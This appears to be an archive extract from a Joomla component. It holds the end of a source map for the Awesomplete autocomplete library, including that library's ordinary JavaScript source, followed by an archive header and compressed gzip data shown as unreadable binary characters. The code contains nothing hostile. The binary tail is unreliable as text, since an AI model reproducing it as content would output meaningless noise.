ASlJ,GAAG,CACpB,GAAImJ,GAAWnJ,EAAEkJ,EAEjBA,GAAMrD,MAAM,OAAOlE,QAAQ,SAASuH,GACnCL,EAAQQ,oBAAoBH,EAAOC,OAMvClI,EAAEqF,KAAO,SAAStB,EAAQsE,EAAM9I,GAC/B,GAAI4D,GAAMhD,SAASmI,YAAY,aAE/BnF,GAAIoF,UAAUF,GAAM,GAAM,EAE1B,KAAK,GAAIG,KAAKjJ,GACb4D,EAAIqF,GAAKjJ,EAAWiJ,EAGrB,OAAOzE,GAAO0E,cAActF,IAG7BnD,EAAE8G,aAAe,SAAU4B,GAC1B,MAAOA,GAAE7G,QAAQ,uBAAwB,SAG1C7B,EAAEwG,aAAe,SAAUxB,GAE1B,IAAK,GAAIxF,GAAI,EAAGwF,EAAKA,EAAG2D,uBAAwBnJ,KAChD,MAAOA,IAYY,mBAAToJ,QACVA,KAAKC,YAAclI,GAII,mBAAbmI,YAEkB,YAAxB3I,SAAS4I,WACZtI,IAIAN,SAASgI,iBAAiB,mBAAoB1H,IAIhDE,EAAEX,EAAIA,EACNW,EAAEN,GAAKA,EAGe,gBAAX2I,SAAuBA,OAAOC,UACxCD,OAAOC,QAAUtI","file":"awesomplete.min.js","sourcesContent":["/**\n * Simple, lightweight, usable local autocomplete library for modern browsers\n * Because there weren’t enough autocomplete scripts in the world? Because I’m completely insane and have NIH syndrome? Probably both. :P\n * @author Lea Verou http://leaverou.github.io/awesomplete\n * MIT license\n */\n\n(function () {\n\nvar _ = function (input, o) {\n\tvar me = this;\n\n // Keep track of number of instances for unique IDs\n _.count = (_.count || 0) + 1;\n this.count = _.count;\n\n\t// Setup\n\n\tthis.isOpened = false;\n\n\tthis.input = $(input);\n\tthis.input.setAttribute(\"autocomplete\", \"off\");\n\tthis.input.setAttribute(\"aria-expanded\", \"false\");\n\tthis.input.setAttribute(\"aria-owns\", \"awesomplete_list_\" + this.count);\n\tthis.input.setAttribute(\"role\", \"combobox\");\n\n\t// store constructor options in case we need to distinguish\n\t// between default and customized behavior later on\n\tthis.options = o = o || {};\n\n\tconfigure(this, {\n\t\tminChars: 2,\n\t\tmaxItems: 10,\n\t\tautoFirst: false,\n\t\tdata: _.DATA,\n\t\tfilter: _.FILTER_CONTAINS,\n\t\tsort: o.sort === false ? false : _.SORT_BYLENGTH,\n\t\tcontainer: _.CONTAINER,\n\t\titem: _.ITEM,\n\t\treplace: _.REPLACE,\n\t\ttabSelect: false\n\t}, o);\n\n\tthis.index = -1;\n\n\t// Create necessary elements\n\n\tthis.container = this.container(input);\n\n\tthis.ul = $.create(\"ul\", {\n\t\thidden: \"hidden\",\n role: \"listbox\",\n id: \"awesomplete_list_\" + this.count,\n\t\tinside: this.container\n\t});\n\n\tthis.status = $.create(\"span\", {\n\t\tclassName: \"visually-hidden\",\n\t\trole: \"status\",\n\t\t\"aria-live\": \"assertive\",\n \"aria-atomic\": true,\n inside: this.container,\n textContent: this.minChars != 0 ? (\"Type \" + this.minChars + \" or more characters for results.\") : \"Begin typing for results.\"\n\t});\n\n\t// Bind events\n\n\tthis._events = {\n\t\tinput: {\n\t\t\t\"input\": this.evaluate.bind(this),\n\t\t\t\"blur\": this.close.bind(this, { reason: \"blur\" }),\n\t\t\t\"keydown\": function(evt) {\n\t\t\t\tvar c = evt.keyCode;\n\n\t\t\t\t// If the dropdown `ul` is in view, then act on keydown for the following keys:\n\t\t\t\t// Enter / Esc / Up / Down\n\t\t\t\tif(me.opened) {\n\t\t\t\t\tif (c === 13 && me.selected) { // Enter\n\t\t\t\t\t\tevt.preventDefault();\n\t\t\t\t\t\tme.select();\n\t\t\t\t\t}\n\t\t\t\t\telse if (c === 9 && me.selected && me.tabSelect) {\n\t\t\t\t\t\tme.select();\n\t\t\t\t\t}\n\t\t\t\t\telse if (c === 27) { // Esc\n\t\t\t\t\t\tme.close({ reason: \"esc\" });\n\t\t\t\t\t}\n\t\t\t\t\telse if (c === 38 || c === 40) { // Down/Up arrow\n\t\t\t\t\t\tevt.preventDefault();\n\t\t\t\t\t\tme[c === 38? \"previous\" : \"next\"]();\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\t\tform: {\n\t\t\t\"submit\": this.close.bind(this, { reason: \"submit\" })\n\t\t},\n\t\tul: {\n\t\t\t// Prevent the default mousedowm, which ensures the input is not blurred.\n\t\t\t// The actual selection will happen on click. This also ensures dragging the\n\t\t\t// cursor away from the list item will cancel the selection\n\t\t\t\"mousedown\": function(evt) {\n\t\t\t\tevt.preventDefault();\n\t\t\t},\n\t\t\t// The click event is fired even if the corresponding mousedown event has called preventDefault\n\t\t\t\"click\": function(evt) {\n\t\t\t\tvar li = evt.target;\n\n\t\t\t\tif (li !== this) {\n\n\t\t\t\t\twhile (li && !/li/i.test(li.nodeName)) {\n\t\t\t\t\t\tli = li.parentNode;\n\t\t\t\t\t}\n\n\t\t\t\t\tif (li && evt.button === 0) { // Only select on left click\n\t\t\t\t\t\tevt.preventDefault();\n\t\t\t\t\t\tme.select(li, evt.target);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t};\n\n\t$.bind(this.input, this._events.input);\n\t$.bind(this.input.form, this._events.form);\n\t$.bind(this.ul, this._events.ul);\n\n\tif (this.input.hasAttribute(\"list\")) {\n\t\tthis.list = \"#\" + this.input.getAttribute(\"list\");\n\t\tthis.input.removeAttribute(\"list\");\n\t}\n\telse {\n\t\tthis.list = this.input.getAttribute(\"data-list\") || o.list || [];\n\t}\n\n\t_.all.push(this);\n};\n\n_.prototype = {\n\tset list(list) {\n\t\tif (Array.isArray(list)) {\n\t\t\tthis._list = list;\n\t\t}\n\t\telse if (typeof list === \"string\" && list.indexOf(\",\") > -1) {\n\t\t\t\tthis._list = list.split(/\\s*,\\s*/);\n\t\t}\n\t\telse { // Element or CSS selector\n\t\t\tlist = $(list);\n\n\t\t\tif (list && list.children) {\n\t\t\t\tvar items = [];\n\t\t\t\tslice.apply(list.children).forEach(function (el) {\n\t\t\t\t\tif (!el.disabled) {\n\t\t\t\t\t\tvar text = el.textContent.trim();\n\t\t\t\t\t\tvar value = el.value || text;\n\t\t\t\t\t\tvar label = el.label || text;\n\t\t\t\t\t\tif (value !== \"\") {\n\t\t\t\t\t\t\titems.push({ label: label, value: value });\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t});\n\t\t\t\tthis._list = items;\n\t\t\t}\n\t\t}\n\n\t\tif (document.activeElement === this.input) {\n\t\t\tthis.evaluate();\n\t\t}\n\t},\n\n\tget selected() {\n\t\treturn this.index > -1;\n\t},\n\n\tget opened() {\n\t\treturn this.isOpened;\n\t},\n\n\tclose: function (o) {\n\t\tif (!this.opened) {\n\t\t\treturn;\n\t\t}\n\n\t\tthis.input.setAttribute(\"aria-expanded\", \"false\");\n\t\tthis.ul.setAttribute(\"hidden\", \"\");\n\t\tthis.isOpened = false;\n\t\tthis.index = -1;\n\n\t\tthis.status.setAttribute(\"hidden\", \"\");\n\n\t\t$.fire(this.input, \"awesomplete-close\", o || {});\n\t},\n\n\topen: function () {\n\t\tthis.input.setAttribute(\"aria-expanded\", \"true\");\n\t\tthis.ul.removeAttribute(\"hidden\");\n\t\tthis.isOpened = true;\n\n\t\tthis.status.removeAttribute(\"hidden\");\n\n\t\tif (this.autoFirst && this.index === -1) {\n\t\t\tthis.goto(0);\n\t\t}\n\n\t\t$.fire(this.input, \"awesomplete-open\");\n\t},\n\n\tdestroy: function() {\n\t\t//remove events from the input and its form\n\t\t$.unbind(this.input, this._events.input);\n\t\t$.unbind(this.input.form, this._events.form);\n\n\t\t// cleanup container if it was created by Awesomplete but leave it alone otherwise\n\t\tif (!this.options.container) {\n\t\t\t//move the input out of the awesomplete container and remove the container and its children\n\t\t\tvar parentNode = this.container.parentNode;\n\n\t\t\tparentNode.insertBefore(this.input, this.container);\n\t\t\tparentNode.removeChild(this.container);\n\t\t}\n\n\t\t//remove autocomplete and aria-autocomplete attributes\n\t\tthis.input.removeAttribute(\"autocomplete\");\n\t\tthis.input.removeAttribute(\"aria-autocomplete\");\n\n\t\t//remove this awesomeplete instance from the global array of instances\n\t\tvar indexOfAwesomplete = _.all.indexOf(this);\n\n\t\tif (indexOfAwesomplete !== -1) {\n\t\t\t_.all.splice(indexOfAwesomplete, 1);\n\t\t}\n\t},\n\n\tnext: function () {\n\t\tvar count = this.ul.children.length;\n\t\tthis.goto(this.index < count - 1 ? this.index + 1 : (count ? 0 : -1) );\n\t},\n\n\tprevious: function () {\n\t\tvar count = this.ul.children.length;\n\t\tvar pos = this.index - 1;\n\n\t\tthis.goto(this.selected && pos !== -1 ? pos : count - 1);\n\t},\n\n\t// Should not be used, highlights specific item without any checks!\n\tgoto: function (i) {\n\t\tvar lis = this.ul.children;\n\n\t\tif (this.selected) {\n\t\t\tlis[this.index].setAttribute(\"aria-selected\", \"false\");\n\t\t}\n\n\t\tthis.index = i;\n\n\t\tif (i > -1 && lis.length > 0) {\n\t\t\tlis[i].setAttribute(\"aria-selected\", \"true\");\n\n\t\t\tthis.status.textContent = lis[i].textContent + \", list item \" + (i + 1) + \" of \" + lis.length;\n\n this.input.setAttribute(\"aria-activedescendant\", this.ul.id + \"_item_\" + this.index);\n\n\t\t\t// scroll to highlighted element in case parent's height is fixed\n\t\t\tthis.ul.scrollTop = lis[i].offsetTop - this.ul.clientHeight + lis[i].clientHeight;\n\n\t\t\t$.fire(this.input, \"awesomplete-highlight\", {\n\t\t\t\ttext: this.suggestions[this.index]\n\t\t\t});\n\t\t}\n\t},\n\n\tselect: function (selected, origin) {\n\t\tif (selected) {\n\t\t\tthis.index = $.siblingIndex(selected);\n\t\t} else {\n\t\t\tselected = this.ul.children[this.index];\n\t\t}\n\n\t\tif (selected) {\n\t\t\tvar suggestion = this.suggestions[this.index];\n\n\t\t\tvar allowed = $.fire(this.input, \"awesomplete-select\", {\n\t\t\t\ttext: suggestion,\n\t\t\t\torigin: origin || selected\n\t\t\t});\n\n\t\t\tif (allowed) {\n\t\t\t\tthis.replace(suggestion);\n\t\t\t\tthis.close({ reason: \"select\" });\n\t\t\t\t$.fire(this.input, \"awesomplete-selectcomplete\", {\n\t\t\t\t\ttext: suggestion\n\t\t\t\t});\n\t\t\t}\n\t\t}\n\t},\n\n\tevaluate: function() {\n\t\tvar me = this;\n\t\tvar value = this.input.value;\n\n\t\tif (value.length >= this.minChars && this._list && this._list.length > 0) {\n\t\t\tthis.index = -1;\n\t\t\t// Populate list with options that match\n\t\t\tthis.ul.innerHTML = \"\";\n\n\t\t\tthis.suggestions = this._list\n\t\t\t\t.map(function(item) {\n\t\t\t\t\treturn new Suggestion(me.data(item, value));\n\t\t\t\t})\n\t\t\t\t.filter(function(item) {\n\t\t\t\t\treturn me.filter(item, value);\n\t\t\t\t});\n\n\t\t\tif (this.sort !== false) {\n\t\t\t\tthis.suggestions = this.suggestions.sort(this.sort);\n\t\t\t}\n\n\t\t\tthis.suggestions = this.suggestions.slice(0, this.maxItems);\n\n\t\t\tthis.suggestions.forEach(function(text, index) {\n\t\t\t\t\tme.ul.appendChild(me.item(text, value, index));\n\t\t\t\t});\n\n\t\t\tif (this.ul.children.length === 0) {\n\n this.status.textContent = \"No results found\";\n\n\t\t\t\tthis.close({ reason: \"nomatches\" });\n\n\t\t\t} else {\n\t\t\t\tthis.open();\n\n this.status.textContent = this.ul.children.length + \" results found\";\n\t\t\t}\n\t\t}\n\t\telse {\n\t\t\tthis.close({ reason: \"nomatches\" });\n\n this.status.textContent = \"No results found\";\n\t\t}\n\t}\n};\n\n// Static methods/properties\n\n_.all = [];\n\n_.FILTER_CONTAINS = function (text, input) {\n\treturn RegExp($.regExpEscape(input.trim()), \"i\").test(text);\n};\n\n_.FILTER_STARTSWITH = function (text, input) {\n\treturn RegExp(\"^\" + $.regExpEscape(input.trim()), \"i\").test(text);\n};\n\n_.SORT_BYLENGTH = function (a, b) {\n\tif (a.length !== b.length) {\n\t\treturn a.length - b.length;\n\t}\n\n\treturn a < b? -1 : 1;\n};\n\n_.CONTAINER = function (input) {\n\treturn $.create(\"div\", {\n\t\tclassName: \"awesomplete\",\n\t\taround: input\n\t});\n}\n\n_.ITEM = function (text, input, item_id) {\n\tvar html = input.trim() === \"\" ? text : text.replace(RegExp($.regExpEscape(input.trim()), \"gi\"), \"<mark>$&</mark>\");\n\treturn $.create(\"li\", {\n\t\tinnerHTML: html,\n\t\t\"role\": \"option\",\n\t\t\"aria-selected\": \"false\",\n\t\t\"id\": \"awesomplete_list_\" + this.count + \"_item_\" + item_id\n\t});\n};\n\n_.REPLACE = function (text) {\n\tthis.input.value = text.value;\n};\n\n_.DATA = function (item/*, input*/) { return item; };\n\n// Private functions\n\nfunction Suggestion(data) {\n\tvar o = Array.isArray(data)\n\t ? { label: data[0], value: data[1] }\n\t : typeof data === \"object\" && \"label\" in data && \"value\" in data ? data : { label: data, value: data };\n\n\tthis.label = o.label || o.value;\n\tthis.value = o.value;\n}\nObject.defineProperty(Suggestion.prototype = Object.create(String.prototype), \"length\", {\n\tget: function() { return this.label.length; }\n});\nSuggestion.prototype.toString = Suggestion.prototype.valueOf = function () {\n\treturn \"\" + this.label;\n};\n\nfunction configure(instance, properties, o) {\n\tfor (var i in properties) {\n\t\tvar initial = properties[i],\n\t\t attrValue = instance.input.getAttribute(\"data-\" + i.toLowerCase());\n\n\t\tif (typeof initial === \"number\") {\n\t\t\tinstance[i] = parseInt(attrValue);\n\t\t}\n\t\telse if (initial === false) { // Boolean options must be false by default anyway\n\t\t\tinstance[i] = attrValue !== null;\n\t\t}\n\t\telse if (initial instanceof Function) {\n\t\t\tinstance[i] = null;\n\t\t}\n\t\telse {\n\t\t\tinstance[i] = attrValue;\n\t\t}\n\n\t\tif (!instance[i] && instance[i] !== 0) {\n\t\t\tinstance[i] = (i in o)? o[i] : initial;\n\t\t}\n\t}\n}\n\n// Helpers\n\nvar slice = Array.prototype.slice;\n\nfunction $(expr, con) {\n\treturn typeof expr === \"string\"? (con || document).querySelector(expr) : expr || null;\n}\n\nfunction $$(expr, con) {\n\treturn slice.call((con || document).querySelectorAll(expr));\n}\n\n$.create = function(tag, o) {\n\tvar element = document.createElement(tag);\n\n\tfor (var i in o) {\n\t\tvar val = o[i];\n\n\t\tif (i === \"inside\") {\n\t\t\t$(val).appendChild(element);\n\t\t}\n\t\telse if (i === \"around\") {\n\t\t\tvar ref = $(val);\n\t\t\tref.parentNode.insertBefore(element, ref);\n\t\t\telement.appendChild(ref);\n\n\t\t\tif (ref.getAttribute(\"autofocus\") != null) {\n\t\t\t\tref.focus();\n\t\t\t}\n\t\t}\n\t\telse if (i in element) {\n\t\t\telement[i] = val;\n\t\t}\n\t\telse {\n\t\t\telement.setAttribute(i, val);\n\t\t}\n\t}\n\n\treturn element;\n};\n\n$.bind = function(element, o) {\n\tif (element) {\n\t\tfor (var event in o) {\n\t\t\tvar callback = o[event];\n\n\t\t\tevent.split(/\\s+/).forEach(function (event) {\n\t\t\t\telement.addEventListener(event, callback);\n\t\t\t});\n\t\t}\n\t}\n};\n\n$.unbind = function(element, o) {\n\tif (element) {\n\t\tfor (var event in o) {\n\t\t\tvar callback = o[event];\n\n\t\t\tevent.split(/\\s+/).forEach(function(event) {\n\t\t\t\telement.removeEventListener(event, callback);\n\t\t\t});\n\t\t}\n\t}\n};\n\n$.fire = function(target, type, properties) {\n\tvar evt = document.createEvent(\"HTMLEvents\");\n\n\tevt.initEvent(type, true, true );\n\n\tfor (var j in properties) {\n\t\tevt[j] = properties[j];\n\t}\n\n\treturn target.dispatchEvent(evt);\n};\n\n$.regExpEscape = function (s) {\n\treturn s.replace(/[-\\\\^$*+?.()|[\\]{}]/g, \"\\\\$&\");\n};\n\n$.siblingIndex = function (el) {\n\t/* eslint-disable no-cond-assign */\n\tfor (var i = 0; el = el.previousElementSibling; i++);\n\treturn i;\n};\n\n// Initialization\n\nfunction init() {\n\t$$(\"input.awesomplete\").forEach(function (input) {\n\t\tnew _(input);\n\t});\n}\n\n// Make sure to export Awesomplete on self when in a browser\nif (typeof self !== \"undefined\") {\n\tself.Awesomplete = _;\n}\n\n// Are we in a browser? Check for Document constructor\nif (typeof Document !== \"undefined\") {\n\t// DOM already loaded?\n\tif (document.readyState !== \"loading\") {\n\t\tinit();\n\t}\n\telse {\n\t\t// Wait for it\n\t\tdocument.addEventListener(\"DOMContentLoaded\", init);\n\t}\n}\n\n_.$ = $;\n_.$$ = $$;\n\n// Expose Awesomplete as a CJS module\nif (typeof module === \"object\" && module.exports) {\n\tmodule.exports = _;\n}\n\nreturn _;\n\n}());\n"]} com_finder/assets/awesomplete/js/awesomplete.min.js.gz 0000604 00000005275 15166657147 0017227 0 ustar 00 � �Ymo�8��_asCZӊ�=��F6M��d���pH��,� �2�#�4��~3$�f;/8�>����p^��a:�?��ˌi�tNY�'�y��N���'L(��;/D�y.<U>v����C,;,:�2~ �2��<Ye�e���Ї8+<�n6!�g�D�(�OK��;��#��pa^�y��dS�،�=W�Y���]�Y`���3��[�T�2OSF9��K�8�YTĮ� ���X:�c�Pk�g�fIcH_:?�0y+���b1c�VFM4�T�DhO�awE�[E�u�H� �V: ~�ʼnXӄ�IR�Y����>y��ϡ�7��U�W��B �@|q�0��c�u�'ł ��)�|�dx,��P��xx�O4�u� ���{��!lk߯(��kҸ4���8�����P�G%�t���M*JG���2H�B��s`$�?���;n�.qu�d��Q���"���xT��q����|>'/QK��2)K�|g���A�C( n��6�Jߒ~��<d��h �,���q���"��z����LW.��!4�_�"~<�l��ѐ��_�Tb�b��2�|8=�s�i&��������lzxrvIU.�BY������bz�ۿO��>�J�\���r8N��ߨd�,N�^�~zxtLu<���7��R�=F�ʹ�o�~�<Yd�b�O����i�DH�/�h�����d�������<�i�q�A�B5�Tpj��J��8ꁫ2�iЖ�~���H�# �RLj|v��<!aw�_�٣>�7H�pصf)=!S��Ӧ\�N.;�\�N�qNVHȎd�ȴ @���B��0��Wj~��L�Ld���l1�^�F0����,+��=�Uc���*! ��ΞRȌ�� ��� ���1�1�{=o� ��z�>,�x:XJ#�g6�Anϧ�6 w���/IM��W$�8��JV�5��k�p����|��WÄ���!�6r� �S��"\�b��Y"8zC�,\-��1֮�@)��פ:�P��|�1P�x��1��=�4S�c� �cL�c+,�98����L L:�<